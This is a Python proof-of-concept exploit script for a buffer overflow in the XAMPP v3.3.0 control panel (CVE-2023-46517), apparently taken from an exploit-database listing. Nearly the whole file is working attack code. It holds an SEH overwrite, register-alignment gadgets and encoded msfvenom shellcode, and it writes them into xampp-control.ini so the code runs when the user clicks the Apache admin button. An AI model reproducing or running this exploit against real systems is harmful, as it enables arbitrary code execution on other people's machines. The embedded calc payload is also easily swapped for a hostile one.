ba28fce174
9 changes to exploits/shellcodes/ghdb SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration Wondercms 4.3.2 - XSS to RCE Employee Management System v1 - 'email' SQL Injection JFrog Artifactory < 7.25.4 - Blind SQL Injection phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit XAMPP - Buffer Overflow POC Microsoft Windows Defender - VBScript Detection Bypass Microsoft Windows Defender Bypass - Detection Mitigation Bypass
184 lines
No EOL
5.1 KiB
Python
Executable file
184 lines
No EOL
5.1 KiB
Python
Executable file
# Exploit Title: XAMPP v3.3.0 — '.ini' Buffer Overflow (Unicode + SEH)
|
|
# Date: 2023-10-26
|
|
# Author: Talson (@Ripp3rdoc)
|
|
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.28/xampp-windows-x64-8.0.28-0-VS16-installer.exe
|
|
# Version: 3.3.0
|
|
# Tested on: Windows 11
|
|
# CVE-2023-46517
|
|
|
|
##########################################################
|
|
# _________ _______ _ _______ _______ _ #
|
|
# \__ __/( ___ )( \ ( ____ \( ___ )( ( /| #
|
|
# ) ( | ( ) || ( | ( \/| ( ) || \ ( | #
|
|
# | | | (___) || | | (_____ | | | || \ | | #
|
|
# | | | ___ || | (_____ )| | | || (\ \) | #
|
|
# | | | ( ) || | ) || | | || | \ | #
|
|
# | | | ) ( || (____/\/\____) || (___) || ) \ | #
|
|
# )_( |/ \|(_______/\_______)(_______)|/ )_) #
|
|
# #
|
|
##########################################################
|
|
|
|
# Proof-of-Concept Steps to Reproduce :
|
|
|
|
# 1.- Run the python script "poc.py", it will create a new file "xampp-control.ini"
|
|
# 2.- Open the application (xampp-control.exe)
|
|
# 3.- Click on the "admin" button in front of Apache service.
|
|
# 4.- Profit
|
|
|
|
# Proof-of-Concept code on GitHub: https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF/
|
|
|
|
# Greetingz to EMU TEAM (¬‿¬)⩙
|
|
|
|
from pwn import *
|
|
import shutil
|
|
import os.path
|
|
|
|
buffer = "\x41" * 268 # 268 bytes to fill the buffer
|
|
nseh = "\x59\x71" # next SEH address — 0x00590071 (a harmless padding)
|
|
seh = "\x15\x43" # SEH handler — 0x00430015: pop ecx ; pop ebp ; ret ;
|
|
padd = "\x71" * 0x55 # padding
|
|
|
|
eax_align = "\x47" # venetian pad/align
|
|
eax_align += "\x51" # push ecx
|
|
eax_align += "\x71" # venetian pad/align
|
|
eax_align += "\x58" # pop eax -> eax = 0019e1a0
|
|
eax_align += "\x71" # venetian pad/align
|
|
eax_align += "\x05\x24\x11" # add eax,0x11002300
|
|
eax_align += "\x71" # venetian pad/align
|
|
eax_align += "\x2d\x11\x11" # sub eax,0x11001100 -> eax = 0019F3DC
|
|
eax_align += "\x71" # venetian pad/align
|
|
eax_align += "\x50" # push eax
|
|
eax_align += "\x71" # pad to align the following ret
|
|
eax_align += "\xc3"; # ret into eax?
|
|
|
|
# msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_mixed -f raw EXITFUNC=thread BufferRegister=EAX -o shellcode.bin
|
|
# Payload size: 512 bytes
|
|
shellcode = (
|
|
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1"
|
|
"AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42Kx"
|
|
"Jo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrk"
|
|
"myKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHML"
|
|
"JaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57"
|
|
"KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA"
|
|
)
|
|
|
|
shellcode = buffer + nseh + seh + eax_align + padd + shellcode
|
|
|
|
|
|
check_file = os.path.isfile("c:\\xampp\\xampp-control.ini")
|
|
|
|
if check_file:
|
|
|
|
print("[!] Backup file found. Generating the POC file...")
|
|
pass
|
|
else:
|
|
# create backup
|
|
try:
|
|
shutil.copyfile("c:\\xampp\\xampp-control.ini", "c:\\xampp\\xampp-control.ini.bak")
|
|
print("[+] Creating backup for xampp-control.ini...")
|
|
print("[+] Backup file created!")
|
|
except Exception as e:
|
|
print("[!] Failed creating a backup for xampp-control.ini: ", e)
|
|
|
|
try:
|
|
|
|
# Create the new file
|
|
with open("c:\\xampp\\xampp-control.ini", "w", encoding='utf-8') as file:
|
|
file.write(f"""[Common]
|
|
Edition=
|
|
Editor=
|
|
Browser={shellcode}
|
|
|
|
Debug=0
|
|
Debuglevel=0
|
|
Language=en
|
|
TomcatVisible=1
|
|
Minimized=0
|
|
|
|
[LogSettings]
|
|
Font=Arial
|
|
FontSize=10
|
|
|
|
[WindowSettings]
|
|
Left=-1
|
|
Top=-1
|
|
Width=682
|
|
Height=441
|
|
|
|
[Autostart]
|
|
Apache=0
|
|
MySQL=0
|
|
FileZilla=0
|
|
Mercury=0
|
|
Tomcat=0
|
|
|
|
[Checks]
|
|
CheckRuntimes=1
|
|
CheckDefaultPorts=1
|
|
|
|
[ModuleNames]
|
|
Apache=Apache
|
|
MySQL=MySQL
|
|
Mercury=Mercury
|
|
Tomcat=Tomcat
|
|
|
|
[EnableModules]
|
|
Apache=1
|
|
MySQL=1
|
|
FileZilla=1
|
|
Mercury=1
|
|
Tomcat=1
|
|
|
|
[EnableServices]
|
|
Apache=1
|
|
MySQL=1
|
|
FileZilla=1
|
|
Tomcat=1
|
|
|
|
[BinaryNames]
|
|
Apache=httpd.exe
|
|
MySQL=mysqld.exe
|
|
FileZilla=filezillaserver.exe
|
|
FileZillaAdmin=filezilla server interface.exe
|
|
Mercury=mercury.exe
|
|
Tomcat=tomcat8.exe
|
|
|
|
[ServiceNames]
|
|
Apache=Apache2.4
|
|
MySQL=mysql
|
|
FileZilla=FileZillaServer
|
|
Tomcat=Tomcat
|
|
[ServicePorts]
|
|
Apache=80
|
|
ApacheSSL=443
|
|
MySQL=3306
|
|
FileZilla=21
|
|
FileZill=14147
|
|
Mercury1=25
|
|
Mercury2=79
|
|
Mercury3=105
|
|
Mercury4=106
|
|
Mercury5=110
|
|
Mercury6=143
|
|
Mercury7=2224
|
|
TomcatHTTP=8080
|
|
TomcatAJP=8009
|
|
Tomcat=8005
|
|
[UserConfigs]
|
|
Apache=
|
|
MySQL=
|
|
FileZilla=
|
|
Mercury=
|
|
Tomcat=
|
|
|
|
[UserLogs]
|
|
Apache=
|
|
MySQL=
|
|
FileZilla=
|
|
Mercury=
|
|
Tomcat=
|
|
""")
|
|
print("[+] Created the POC!")
|
|
|
|
except Exception as e:
|
|
print("[!] Failed creating the POC xampp-control.ini: ", e) |